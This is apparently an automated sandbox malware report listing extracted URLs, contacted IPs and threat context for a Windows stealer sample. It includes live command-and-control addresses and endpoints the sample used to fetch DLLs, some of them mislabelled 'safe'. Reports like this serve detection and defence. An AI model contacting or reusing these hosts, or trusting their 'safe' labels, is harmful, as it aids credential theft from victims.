http://95.215.204.182/4d3324bde875e159.phpL	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6248	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000003.00000003.2390358540.00004BF8013B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
http://anglebug.com/6929	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://95.215.204.182/4d3324bde875e159.php4	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://i.y.qq.com/n2/m/index.html	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
https://www.deezer.com/	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
https://issuetracker.google.com/255411748	msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web.telegram.org/	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://95.215.204.182/4d3324bde875e159.phpq	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.2363770189.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2556017156.000055D40016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	CBGCBGCAFIIECBFIDHIJ.0.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.2365636665.00004BF800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365675762.00004BF801064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365598938.00004BF801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368174751.00004BF800F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367215054.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365479649.00004BF801038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365540647.00004BF801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367541940.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	false		high
http://95.215.204.182/dcace648038981df/softokn3.dllZAb1	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, FCAKFCGC.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
https://plus.google.com	chromecache_468.5.dr	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.11.dr	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://95.215.204.182/dcace648038981df/freebl3.dllHAl1	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5371	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://95.215.204.182/dcace648038981df/sqlite3.dllD	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/7556	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://95.215.204.182/4d3324bde875e159.phprowser	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chromewebstore.google.com/	msedge.exe, 00000007.00000002.2556017156.000055D40016C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.10.dr	false		high
http://95.215.204.182/4d3324bde875e159.phpw	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://msn.comXIDv10	Cookies.11.dr	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
http://anglebug.com/3625	msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/0/	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
http://anglebug.com/3624	msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.rs/getrandom#nodejs-es-module-support	vMRlWtVCEN.exe, vMRlWtVCEN.exe, 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, vMRlWtVCEN.exe, 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771899223.000000006CD71000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000003.2368403267.00004BF800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363554135.00004BF800E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363156373.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363127923.00004BF800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368442525.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367980867.00004BF800E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363636451.00004BF800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388450177.00004BF800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363770189.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.222.241.148	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.38.189.81	unknown	United States	16625	AKAMAI-ASUS	false
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.183	unknown	United States	20940	AKAMAI-ASN1EU	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
52.182.143.214	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
131.253.33.203	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.156.211.71	unknown	United States	16509	AMAZON-02US	false
95.215.204.182	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.16.206	plus.l.google.com	United States	15169	GOOGLEUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
216.58.206.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
23.221.22.41	unknown	United States	20940	AKAMAI-ASN1EU	false
23.192.223.231	unknown	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.4
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551373
Start date and time:	2024-11-07 17:24:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vMRlWtVCEN.exe renamed because original name is a hash value
Original Sample Name:	1c49165308a01047a7991781aa319842.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@68/296@26/26
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 87 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.227, 142.250.186.78, 74.125.133.84, 192.229.221.95, 34.104.35.123, 199.232.210.172, 142.250.184.227, 142.250.185.138, 142.250.185.170, 172.217.18.106, 142.250.186.106, 142.250.185.234, 142.250.186.170, 142.250.186.74, 172.217.18.10, 172.217.16.138, 142.250.186.42, 172.217.16.202, 142.250.186.138, 142.250.185.202, 142.250.184.202, 142.250.181.234, 216.58.212.138, 142.250.185.74, 216.58.212.170, 142.250.184.234, 216.58.206.74, 142.250.185.106, 216.58.206.42, 172.217.23.106, 13.107.42.16, 204.79.197.203, 216.58.206.46, 204.79.197.239, 13.107.21.239, 13.107.6.158, 4.209.164.61, 2.22.242.11, 2.22.242.105, 48.209.162.134, 88.221.110.179, 88.221.110.195, 2.23.209.182, 2.23.209.183, 2.23.209.130, 2.23.209.133, 2.23.209.135, 2.23.209.137, 2.23.209.181, 2.23.209.189, 2.23.209.185, 2.23.209.7, 2.23.209.13, 2.23.209.12, 2.23.209.10, 2.23.209.9, 2.23.209.15, 2.23.209.6, 2.23.209.8, 2.23.209.16, 2.23.209.177, 2.23.209.179, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.2
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, onedsblobprdcus16.centralus.cloudapp.azure.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, blobcollector.events.data.trafficmanager.net, edgeassetservice.azureedge.net, umwatson.events.data.microsoft.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: vMRlWtVCEN.exe

Simulations

Behavior and APIs

Time	Type	Description
11:25:58	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.125.209.212	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
162.159.61.3	Multi Graphics Inc CustomerVendor Form.pdf	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	tjackson Payout File.pdf	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	Updated Document-9875488675.pdf	Get hash	malicious	Captcha Phish	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	d01SFZW0Tt.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	c54f4c04-95c8-e3ea-7c13-45cbc3ee9b45.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	Multi Graphics Inc CustomerVendor Form.pdf	Get hash	malicious	HTMLPhisher	Browse	20.75.106.146
	https://eu.docworkspace.com/d/sIGWvrvOeAYXvpLkG	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://app.smartsheet.com/b/form/d72b00b027df4e38a9b052ac176790d8	Get hash	malicious	Unknown	Browse	13.107.246.45
	byte.ppc.elf	Get hash	malicious	Mirai, Okiru	Browse	20.94.231.231
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	20.92.180.39
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS5d7c8770636a4f3fd2ed2ec05584079425wDnNeW8yycT&sa=t&esrc=nNeW8F5d7c8770636a4f3fd2ed2ec05584079425A0xys8Em2FL&source=&cd=tS6T85d7c8770636a4f3fd2ed2ec05584079425Tiw9XH&cad=XpPkDfJX5d7c8770636a4f3fd2ed2ec05584079425VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fbyda.ng%2Fcig.bin%2Fgoin%2F%23c2VjcmV0YXJpYXRAcGVvLm9uLmNh	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	byte.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	104.41.171.166
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	20.202.141.49
AKAMAI-ASN1EU	Josho.x86.elf	Get hash	malicious	Unknown	Browse	184.84.127.23
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.178
	https://go.skimresources.com/?id=129857X1600501&url=https%3A%2F%2Fys-law-firm.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	2.19.96.48
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.178
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.221.220.51
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.221.22.216
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.198.7.173
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.198.7.174
	2024_APY839284784.svg	Get hash	malicious	Unknown	Browse	2.22.61.56
MICROSOFT-CORP-MSN-AS-BLOCKUS	c54f4c04-95c8-e3ea-7c13-45cbc3ee9b45.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	Multi Graphics Inc CustomerVendor Form.pdf	Get hash	malicious	HTMLPhisher	Browse	20.75.106.146
	https://eu.docworkspace.com/d/sIGWvrvOeAYXvpLkG	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://app.smartsheet.com/b/form/d72b00b027df4e38a9b052ac176790d8	Get hash	malicious	Unknown	Browse	13.107.246.45
	byte.ppc.elf	Get hash	malicious	Mirai, Okiru	Browse	20.94.231.231
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	20.92.180.39
